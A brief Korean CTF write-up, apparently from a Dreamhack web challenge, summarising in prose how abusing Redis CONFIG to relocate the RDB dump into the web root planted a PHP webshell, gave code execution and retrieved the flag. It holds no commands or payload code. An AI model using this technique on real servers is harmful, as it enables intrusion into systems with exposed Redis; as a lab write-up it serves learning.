Redis eval๋กœ Lua๋ฅผ ๋Œ๋ฆฌ๊ณ  config๋กœ CONFIG๋ฅผ ๋งŒ์งˆ ์ˆ˜ ์žˆ๋Š” PHP ์•ฑ์ด๋‹ค. Lua์—์„œ SAVE๋Š” ๋ง‰ํ˜€ ์žˆ์ง€๋งŒ, CONFIG๋กœ RDB ์ €์žฅ ์œ„์น˜๋ฅผ ์›น ๋ฃจํŠธ๋กœ ๋Œ๋ฆฌ๊ณ  save ์ •์ฑ…์„ "1์ดˆ 1๋ณ€๊ฒฝ"์œผ๋กœ ๋ฐ”๊ฟ” ์ž๋™ ์ €์žฅ์„ ์œ ๋„ํ–ˆ๋‹ค. RDB ๋คํ”„์— ์‹ฌ์€ <?php ์›น์…ธ๋กœ RCE, ์‹คํ–‰ ์ „์šฉ /flag๋ฅผ ๋Œ๋ ค flag๋ฅผ ์–ป์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-13#dreamhack +5